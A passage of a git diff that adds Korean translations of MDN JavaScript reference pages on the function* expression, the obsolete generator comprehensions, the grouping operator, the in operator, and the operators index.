+<p><code>function*</code> expression 은 {{jsxref('Statements/function*', 'function* statement')}} 과 매우 유사하고 형식도 같습니다. <code>function*</code> expression 과 <code>function*</code> statement 의 주요한 차이점은 함수명으로,<em> </em><code>function*</code> expressions 에서는 익명 함수로 만들기 위해 함수명이 생략될 수 있습니다.보다 자세한 내용은 <a href="/ko/docs/Web/JavaScript/Reference/Functions">functions</a> 을 참조하십시오.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>아래의 예제는 이름이 없는 generator function 을 정의하고 이를 x 에 할당합니다. function 은 인자로 들어온 값의 제곱을 생산(yield)합니다.</p>
+
+<pre class="brush: js">var x = function*(y) {
+   yield y * y;
+};
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#', 'function*')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#', 'function*')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("javascript.operators.function_star")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("GeneratorFunction")}} object</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+ <li>{{jsxref("Function")}} object</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/generator_comprehensions/index.html b/files/ko/web/javascript/reference/operators/generator_comprehensions/index.html
new file mode 100644
index 0000000000..927b613dc6
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/generator_comprehensions/index.html
@@ -0,0 +1,174 @@
+---
+title: 생성기 내포
+slug: Web/JavaScript/Reference/Operators/Generator_comprehensions
+tags:
+  - JavaScript
+  - Non-standard
+  - Obsolete
+  - Reference
+translation_of: Archive/Web/JavaScript/Generator_comprehensions
+---
+<div>{{JSSidebar("Operators")}}{{Non-standard_Header}}{{Obsolete_Header("gecko58")}}
+<div class="blockIndicator warning">
+<p><strong>Non-standard. Do not use!</strong><br>
+ The generator comprehensions syntax is non-standard and removed starting with Firefox 58. For future-facing usages, consider using {{JSxRef("Statements/function*", "generator", "", 1)}}.</p>
+</div>
+</div>
+
+<p>The <strong>generator comprehension</strong> syntax was a JavaScript expression which allowed you to quickly assemble a new generator function based on an existing iterable object. However, it has been removed from the standard and the Firefox implementation. Do not use it!</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">(for (x of iterable) x)
+(for (x of iterable) if (condition) x)
+(for (x of iterable) for (y of iterable) x + y)
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Inside generator comprehensions, these two kinds of components are allowed:</p>
+
+<ul>
+ <li>{{JSxRef("Statements/for...of", "for...of")}} and</li>
+ <li>{{JSxRef("Statements/if...else", "if")}}</li>
+</ul>
+
+<p>The <code>for-of</code> iteration is always the first component. Multiple <code>for-of</code> iterations or if statements are allowed.</p>
+
+<p>A significant drawback of {{JSxRef("Operators/Array_comprehensions","array comprehensions","","true")}} is that they cause an entire new array to be constructed in memory. When the input to the comprehension is itself a small array the overhead involved is insignificant — but when the input is a large array or an expensive (or indeed infinite) generator the creation of a new array can be problematic.</p>
+
+<p>Generators enable lazy computation of sequences, with items calculated on-demand as they are needed. Generator comprehensions are syntactically almost identical to array comprehensions — they use parentheses instead of braces— but instead of building an array they create a generator that can execute lazily. You can think of them as short hand syntax for creating generators.</p>
+
+<p>Suppose we have an iterator <code>it</code> which iterates over a large sequence of integers. We want to create a new iterator that will iterate over their doubles. An array comprehension would create a full array in memory containing the doubled values:</p>
+
+<pre class="brush: js">var doubles = [for (i in it) i * 2];
+</pre>
+
+<p>A generator comprehension on the other hand would create a new iterator which would create doubled values on demand as they were needed:</p>
+
+<pre class="brush: js">var it2 = (for (i in it) i * 2);
+console.log(it2.next()); // The first value from it, doubled
+console.log(it2.next()); // The second value from it, doubled
+</pre>
+
+<p>When a generator comprehension is used as the argument to a function, the parentheses used for the function call means that the outer parentheses can be omitted:</p>
+
+<pre class="brush: js">var result = doSomething(for (i in it) i * 2);
+</pre>
+
+<p>The significant difference between the two examples being that by using the generator comprehension, you would only have to loop over the 'obj' structure once, total, as opposed to once when comprehending the array, and again when iterating through it.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Simple_generator_comprehensions">Simple generator comprehensions</h3>
+
+<pre class="brush:js">(for (i of [1, 2, 3]) i * i );
+// generator function which yields 1, 4, and 9
+
+[...(for (i of [1, 2, 3]) i * i )];
+// [1, 4, 9]
+
+var abc = ['A', 'B', 'C'];
+(for (letters of abc) letters.toLowerCase());
+// generator function which yields "a", "b", and "c"
+</pre>
+
+<h3 id="Generator_comprehensions_with_if_statement">Generator comprehensions with if statement</h3>
+
+<pre class="brush: js">var years = [1954, 1974, 1990, 2006, 2010, 2014];
+
+(for (year of years) if (year &gt; 2000) year);
+// generator function which yields 2006, 2010, and 2014
+
+(for (year of years) if (year &gt; 2000) if (year &lt; 2010) year);
+// generator function which yields 2006, the same as below:
+
+(for (year of years) if (year &gt; 2000 &amp;&amp; year &lt; 2010) year);
+// generator function which yields 2006
+</pre>
+
+<h3 id="Generator_comprehensions_compared_to_generator_function">Generator comprehensions compared to generator function</h3>
+
+<p>An easy way to understand generator comprehension syntax, is to compare it with the generator function.</p>
+
+<p>Example 1: Simple generator.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3];
+
+// Generator function
+(function*() {
+  for (let i of numbers) {
+    yield i * i;
+  }
+})();
+
+// Generator comprehension
+(for (i of numbers) i * i );
+
+// Result: both return a generator which yields [1, 4, 9]
+</pre>
+
+<p>Example 2: Using <code>if</code> in generator.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3];
+
+// Generator function
+(function*() {
+  for (let i of numbers) {
+    if (i &lt; 3) {
+      yield i * 1;
+    }
+  }
+})();
+
+// Generator comprehension
+(for (i of numbers) if (i &lt; 3) i);
+
+// Result: both return a generator which yields [1, 2]</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Generator comprehensions were initially in the ECMAScript 2015 draft, but got removed in revision 27 (August 2014). Please see older revisions of ES2015 for specification semantics.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.generator_comprehensions")}}</p>
+
+<h2 id="Differences_to_the_older_JS1.7JS1.8_comprehensions">Differences to the older JS1.7/JS1.8 comprehensions</h2>
+
+<div class="blockIndicator warning">JS1.7/JS1.8 comprehensions are removed from Gecko 46 ({{bug(1220564)}}).</div>
+
+<p><strong>Old comprehensions syntax (do not use anymore!):</strong></p>
+
+<pre class="brush: js example-bad">(X for (Y in Z))
+(X for each (Y in Z))
+(X for (Y of Z))
+</pre>
+
+<p>Differences:</p>
+
+<ul>
+ <li>ES7 comprehensions create one scope per "for" node instead of the comprehension as a whole.
+  <ul>
+   <li>Old: <code>[...(()=&gt;x for (x of [0, 1, 2]))][1]() // 2</code></li>
+   <li>New: <code>[...(for (x of [0, 1, 2]) ()=&gt;x)][1]() // 1, each iteration creates a fresh binding for x. </code></li>
+  </ul>
+ </li>
+ <li>ES7 comprehensions start with "for" instead of the assignment expression.
+  <ul>
+   <li>Old: <code>(i * 2 for (i of numbers))</code></li>
+   <li>New: <code>(for (i of numbers) i * 2)</code></li>
+  </ul>
+ </li>
+ <li>ES7 comprehensions can have multiple <code>if</code> and <code>for</code> components.</li>
+ <li>ES7 comprehensions only work with <code>{{JSxRef("Statements/for...of", "for...of")}}</code> and not with <code>{{JSxRef("Statements/for...in", "for...in")}}</code> iterations.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{JSxRef("Statements/for...of", "for...of")}}</li>
+ <li>{{JSxRef("Operators/Array_comprehensions", "Array comprehensions")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/grouping/index.html b/files/ko/web/javascript/reference/operators/grouping/index.html
new file mode 100644
index 0000000000..a8823ff961
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/grouping/index.html
@@ -0,0 +1,92 @@
+---
+title: 그룹 연산자
+slug: Web/JavaScript/Reference/Operators/Grouping
+tags:
+  - JavaScript
+  - Operator
+  - Primary Expressions
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Grouping
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>그룹 연산자 <code>()</code></strong>는 표현식 내에서 평가의 우선순위를 제어합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-groupingoperator.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"> ( )</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>그룹 연산자는 표현식이나 중첩 표현식 주위를 감싸는 한 쌍의 괄호로 이루어진 연산자로, 감싸인 식이 더 높은 우선순위를 갖도록 일반적인 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">연산자 우선순위</a>를 재정의합니다. 이름 그대로, 그룹 연산자는 괄호 안의 내용을 묶습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제에서는 곱셈과 나눗셈 이후 덧셈과 뺄셈을 사용하는 일반적인 연산 순서를 그룹 연산자를 사용해 바꿉니다.</p>
+
+<pre class="brush:js">var a = 1;
+var b = 2;
+var c = 3;
+
+// 기본 우선순위
+a + b * c     // 7
+// 이것과 같음
+a + (b * c)   // 7
+
+// 더하기를 곱하기보다 먼저 하도록
+// 우선순위 변경
+(a + b) * c   // 9
+
+// 이것과 같음
+a * c + b * c // 9
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-grouping-operator', 'The Grouping Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.6', 'The Grouping Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.1.4', 'The Grouping Operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.grouping")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">연산자 우선순위</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/in/index.html b/files/ko/web/javascript/reference/operators/in/index.html
new file mode 100644
index 0000000000..dea26b496d
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/in/index.html
@@ -0,0 +1,188 @@
+---
+title: in 연산자
+slug: Web/JavaScript/Reference/Operators/in
+tags:
+  - JavaScript
+  - Operator
+  - Relational Operators
+  - 관계형 연산자
+  - 연산자
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Operators/in
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p> <strong><code>in</code> 연산자</strong>는 명시된 속성이 명시된 객체에 존재하면 <code>true</code>를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>속성</em> in <em>객체명</em></pre>
+
+<h3 id="인자">인자</h3>
+
+<dl>
+ <dt><code>속성</code></dt>
+ <dd>속성의 이름이나 배열의 인덱스를 뜻하는 문자열 또는 수 값입니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>객체명</code></dt>
+ <dd>객체의 이름입니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p> 다음 예제들은 <code>in</code> 연산자의 용도를 보여 줍니다.</p>
+
+<pre class="brush:js">// 배열
+var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+0 in trees         // true를 반환합니다.
+3 in trees         // true를 반환합니다.
+(1 + 2) in trees   // true를 반환합니다. 연산자 우선 순위에 의하여 이 구문의 괄호는 없어도 됩니다.
+6 in trees         // false를 반환합니다.
+"bay" in trees     // false를 반환합니다. 당신은 배열의 내용이 아닌, 인덱스 값을 명시하여야 합니다.
+"length" in trees  // true를 반환합니다. length는 Array(배열) 객체의 속성입니다.
+
+// 미리 정의된 객체
+"PI" in Math       // true를 반환합니다.
+"P" + "I" in Math  // true를 반환합니다.
+
+// 사용자가 정의한 객체
+var myCar = {company: "Lamborghini", model: "Lamborghini Veneno Roadster", year: 2014};
+"company" in myCar // true를 반환합니다.
+"model" in myCar   // true를 반환합니다.
+</pre>
+
+<p> 당신은 반드시 <code>in</code> 연산자의 오른쪽에 객체를 명시하여야 합니다. 예컨대 당신은 <code>String</code> 생성자로 만들어진 문자열을 명시할 수 있지만 문자열 리터럴은 명시할 수 없습니다.</p>
+
+<pre class="brush:js">var color1 = new String("green");
+"length" in color1 // true를 반환합니다.
+
+var color2 = "coral";
+"length" in color2 // color2는 String 객체가 아니기에 오류를 냅니다.
+</pre>
+
+<h3 id="제거되었거나_정의되지_않은_속성에_대하여_in_연산자_사용하기">제거되었거나 정의되지 않은 속성에 대하여 <code>in</code> 연산자 사용하기</h3>
+
+<p> <code>in</code> 연산자는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete">delete</a></code> 연산자로 제거된 속성에 대하여 <code>false</code>를 반환합니다.</p>
+
+<pre class="brush:js">var myCar = {company: "Lamborghini", model: "Lamborghini Veneno Roadster", year: 2014};
+delete myCar.company;
+"company" in myCar; // false를 반환합니다.
+
+var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+delete trees[3];
+3 in trees; // false를 반환합니다.
+</pre>
+
+<p> 만약 당신이 속성을 {{jsxref("Global_Objects/undefined", "undefined")}}로 설정하였는데 그것을 제거하지 않으면, <code>in</code> 연산자는 그 속성에 대하여 <code>true</code>를 반환합니다.</p>
+
+<pre class="brush:js">var myCar = {company: "Lamborghini", model: "Lamborghini Veneno Roadster", year: 2014};
+myCar.company = undefined;
+"company" in myCar; // true를 반환합니다.
+</pre>
+
+<pre class="brush:js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+trees[3] = undefined;
+3 in trees; // true를 반환합니다.
+</pre>
+
+<h3 id="상속된_속성">상속된 속성</h3>
+
+<p> <code>in</code> 연산자는 프로토타입 체인에 의하여 접근할 수 있는 속성에 대하여 <code>true</code>를 반환합니다.</p>
+
+<pre class="brush:js">"toString" in {}; // true를 반환합니다.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8.7', 'The in Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.8.7', 'The in Operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기의 정의가 담겨 있습니다. JavaScript 1.4에 추가되었습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>지원</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>지원</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete">delete</a></code></li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Reflect.has()")}}</li>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties" title="/en-US/docs/Enumerability_and_ownership_of_properties">속성의, 소유와 셀 수 있는 성질</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/index.html b/files/ko/web/javascript/reference/operators/index.html
new file mode 100644
index 0000000000..9605b84278
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/index.html
@@ -0,0 +1,304 @@
+---
+title: 식 및 연산자
+slug: Web/JavaScript/Reference/Operators
+tags:
+  - JavaScript
+  - Operators
+  - Overview
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>이 장은 JavaScript의 모든 연산자<sup>operator</sup>, 식<sup>expression</sup> 및 키워드를 나열합니다.</p>
+
+<h2 id="항목별_식_및_연산자">항목별 식 및 연산자</h2>
+
+<p>알파벳순 목록은 왼쪽 사이드바를 보세요.</p>
+
+<h3 id="기본_식">기본 식</h3>
+
+<p>기본 키워드 및 JavaScript의 일반 식.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/this", "this")}}</dt>
+ <dd><code>this</code> 키워드는 실행 문맥의 특별한 속성을 가리킵니다.</dd>
+ <dt>{{JSxRef("Operators/function", "function")}}</dt>
+ <dd><code>function</code> 키워드는 함수를 정의합니다.</dd>
+ <dt>{{JSxRef("Operators/class", "class")}}</dt>
+ <dd><code>class</code> 키워드는 클래스를 정의합니다.</dd>
+ <dt>{{JSxRef("Operators/function*", "function*")}}</dt>
+ <dd><code>function*</code> 키워드는 생성기<sup>generator</sup> 함수 식을 정의합니다.</dd>
+ <dt>{{JSxRef("Operators/yield", "yield")}}</dt>
+ <dd>생성기 함수를 일시정지 및 재개합니다.</dd>
+ <dt>{{JSxRef("Operators/yield*", "yield*")}}</dt>
+ <dd>다른 생성기 함수 또는 순회가능 객체로 위임합니다.</dd>
+ <dt>{{JSxRef("Operators/async_function", "async function")}}</dt>
+ <dd><code>async function</code>은 비동기 함수 표현식을 정의합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{JSxRef("Operators/await", "await")}}</dt>
+ <dd>비동기 함수를 일시 중지했다가 다시 시작하고 promise의 resolution/rejection을 ​​기다립니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{JSxRef("Global_Objects/Array", "[]")}}</dt>
+ <dd>배열 초기자 및 리터럴 구문.</dd>
+ <dt>{{JSxRef("Operators/Object_initializer", "{}")}}</dt>
+ <dd>객체 초기자 및 리터럴 구문.</dd>
+ <dt>{{JSxRef("Global_Objects/RegExp", "/ab+c/i")}}</dt>
+ <dd>정규식 리터럴 구문.</dd>
+ <dt>{{JSxRef("Operators/Grouping", "( )")}}</dt>
+ <dd>그룹 연산자.</dd>
+</dl>
+
+<h3 id="좌변_식">좌변 식</h3>
+
+<p>좌변값은 할당 대상입니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Property_accessors", "Property accessors", "", 1)}}</dt>
+ <dd>속성 접근자는 객체의 속성 또는 메서드에 대한 접근 방법을 제공합니다.<br>
+ (<code>object.property</code>, <code>object["property"]</code>)</dd>
+ <dt>{{JSxRef("Operators/new", "new")}}</dt>
+ <dd><code>new</code> 연산자는 생성자의 인스턴스를 만듭니다.</dd>
+ <dt>{{JSxRef("Operators/new%2Etarget", "new.target")}}</dt>
+ <dd>생성자 문맥에서, <code>new.target</code>은 {{jsxref("Operators/new", "new")}}에 의해 호출된 생성자를 말합니다.</dd>
+ <dt>{{JSxRef("Operators/super", "super")}}</dt>
+ <dd><code>super</code> 키워드는 부모 생성자를 호출합니다.</dd>
+ <dt>{{JSxRef("Operators/Spread_syntax", "...obj")}}</dt>
+ <dd>전개 연산자는 (함수 호출 시) 매개변수 여럿이나, (배열 리터럴에서) 다수의 요소를 필요로 하는 곳에서 표현식을 확장합니다.</dd>
+</dl>
+
+<h3 id="증가_및_감소">증가 및 감소</h3>
+
+<p>접두/접미 증감 연산자입니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Increment", "A++")}}</dt>
+ <dd>접미 증가 연산자.</dd>
+ <dt>{{JSxRef("Operators/Decrement", "A--")}}</dt>
+ <dd>접미 감소 연산자.</dd>
+ <dt>{{JSxRef("Operators/Increment", "++A")}}</dt>
+ <dd>접두 증가 연산자.</dd>
+ <dt>{{JSxRef("Operators/Decrement", "--A")}}</dt>
+ <dd>접두 감소 연산자.</dd>
+</dl>
+
+<h3 id="단항_연산자">단항 연산자</h3>
+
+<p>단항 연산은 피연산자가 하나뿐인 연산입니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/delete", "delete")}}</dt>
+ <dd><code>delete</code> 연산자는 객체에서 속성을 지웁니다.</dd>
+ <dt>{{JSxRef("Operators/void", "void")}}</dt>
+ <dd><code>void</code> 연산자는 식의 반환값을 버립니다.</dd>
+ <dt>{{JSxRef("Operators/typeof", "typeof")}}</dt>
+ <dd><code>typeof</code> 연산자는 주어진 객체의 형을 판별합니다.</dd>
+ <dt>{{JSxRef("Operators/Unary_plus", "+")}}</dt>
+ <dd>단항 더하기 연산자는 피연산자를 숫자로 변환합니다.</dd>
+ <dt>{{JSxRef("Operators/Unary_negation", "-")}}</dt>
+ <dd>단항 부정 연산자는 피연산자를 숫자로 변환한 뒤 부호를 바꿉니다.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_NOT", "~")}}</dt>
+ <dd>비트 NOT 연산자.</dd>
+ <dt>{{JSxRef("Operators/Logical_NOT", "!")}}</dt>
+ <dd>논리 NOT 연산자.</dd>
+</dl>
+
+<h3 id="산술_연산자">산술 연산자</h3>
+
+<p>산술 연산자는 피연산자로 숫자 값(리터럴이나 변수)을 취하고 숫자 값 하나를 반환합니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Addition", "+")}}</dt>
+ <dd>덧셈 연산자.</dd>
+ <dt>{{JSxRef("Operators/Subtraction", "-")}}</dt>
+ <dd>뺄셈 연산자.</dd>
+ <dt>{{JSxRef("Operators/Division", "/")}}</dt>
+ <dd>나눗셈 연산자.</dd>
+ <dt>{{JSxRef("Operators/Multiplication", "*")}}</dt>
+ <dd>곱셈 연산자.</dd>
+ <dt>{{JSxRef("Operators/Remainder", "%")}}</dt>
+ <dd>나머지 연산자.</dd>
+</dl>
+
+<dl>
+ <dt>{{JSxRef("Operators/Exponentiation", "**")}}</dt>
+ <dd>지수 연산자.</dd>
+</dl>
+
+<h3 id="관계_연산자">관계 연산자</h3>
+
+<p>비교 연산자는 피연산자를 비교하고, 비교가 참인지 여부를 나타내는 {{jsxref("Boolean")}} 값을 반환합니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/in", "in")}}</dt>
+ <dd><code>in</code> 연산자는 객체에 주어진 속성이 있는지를 결정합니다.</dd>
+ <dt>{{JSxRef("Operators/instanceof", "instanceof")}}</dt>
+ <dd><code>instanceof</code> 연산자는 객체가 다른 객체의 인스턴스인지 판별합니다.</dd>
+ <dt>{{JSxRef("Operators/Less_than", "&lt;")}}</dt>
+ <dd>작음 연산자.</dd>
+ <dt>{{JSxRef("Operators/Greater_than", "&gt;")}}</dt>
+ <dd>큼 연산자.</dd>
+ <dt>{{JSxRef("Operators/Less_than_or_equal", "&lt;=")}}</dt>
+ <dd>작거나 같음 연산자.</dd>
+ <dt>{{JSxRef("Operators/Greater_than_or_equal", "&gt;=")}}</dt>
+ <dd>크거나 같음 연산자.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고: =&gt;</strong> 는 연산자가 아니고, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Arrow_functions">화살표 함수</a>의 표기법입니다.</p>
+</div>
+
+<h3 id="같음_연산자">같음 연산자</h3>
+
+<p>같음 연산자의 평가 결과는 항상 {{jsxref("Boolean")}} 형으로 비교가 참인지 나타냅니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Equality", "==")}}</dt>
+ <dd>동등 연산자.</dd>
+ <dt>{{JSxRef("Operators/Inequality", "!=")}}</dt>
+ <dd>부등 연산자.</dd>
+ <dt>{{JSxRef("Operators/Strict_equality", "===")}}</dt>
+ <dd>일치<sup>identity</sup> 연산자.</dd>
+ <dt>{{JSxRef("Operators/Strict_inequality", "!==")}}</dt>
+ <dd>불일치 연산자.</dd>
+</dl>
+
+<h3 id="비트_시프트_연산자">비트 시프트 연산자</h3>
+
+<p>피연산자의 모든 비트를 이동<sup>shift</sup>하는 연산.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Left_shift", "&lt;&lt;")}}</dt>
+ <dd>비트 좌로 시프트 연산자.</dd>
+ <dt>{{JSxRef("Operators/Right_shift", "&gt;&gt;")}}</dt>
+ <dd>비트 우로 시프트 연산자.</dd>
+ <dt>{{JSxRef("Operators/Unsigned_right_shift", "&gt;&gt;&gt;")}}</dt>
+ <dd>비트 부호 없는 우로 시프트 연산자.</dd>
+</dl>
+
+<h3 id="이진_비트_연산자">이진 비트 연산자</h3>
+
+<p>비트 연산자는 피연산자를 32비트 집합(0과 1)으로 다루고 표준 JavaScript 숫자 값을 반환합니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Bitwise_AND", "&amp;")}}</dt>
+ <dd>비트 AND.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_OR", "|")}}</dt>
+ <dd>비트 OR.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_XOR", "^")}}</dt>
+ <dd>비트 XOR.</dd>
+</dl>
+
+<h3 id="이진_논리_연산자">이진 논리 연산자</h3>
+
+<p>논리 연산자는 보통 사용될 때 불리언(논리) 값으로 사용되고, 불리언 값을 반환합니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Logical_AND", "&amp;&amp;")}}</dt>
+ <dd>논리 AND.</dd>
+ <dt>{{JSxRef("Operators/Logical_OR", "||")}}</dt>
+ <dd>논리 OR.</dd>
+ <dt>{{JSxRef("Operators/Nullish_coalescing_operator", "??")}}</dt>
+ <dd>Nullish 통합 연산자.</dd>
+</dl>
+
+<h3 id="조건부삼항_연산자">조건부(삼항) 연산자</h3>
+
+<dl>
+ <dt>{{JSxRef("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</dt>
+</dl>
+
+<p>조건부 연산자는 조건의 논리값에 따라 두 값 중 하나를 반환합니다.</p>
+
+<h3 id="선택적_연결_연산자">선택적 연결 연산자</h3>
+
+<dl>
+ <dt>{{JSxRef("Operators/Optional_chaining", "?.")}}</dt>
+ <dd>
+ <p>선택적 연결 연산자는 참조가 <a href="https://developer.mozilla.org/en-US/docs/Glossary/nullish">nullish</a> (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a> 또는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>) 인 경우 오류를 발생시키는 대신 <code>undefined</code>를 반환합니다.</p>
+ </dd>
+</dl>
+
+<h3 id="할당_연산자">할당 연산자</h3>
+
+<p>할당 연산자는 값을 그 우변 피연산자의 값에 따라 좌변 피연산자에 할당합니다.</p>
+
+<dl>
+ <dt>{{JSxRef("Operators/Assignment", "=")}}</dt>
+ <dd>할당 연산자.</dd>
+ <dt>{{JSxRef("Operators/Multiplication_assignment", "*=")}}</dt>
+ <dd>곱셈 할당.</dd>
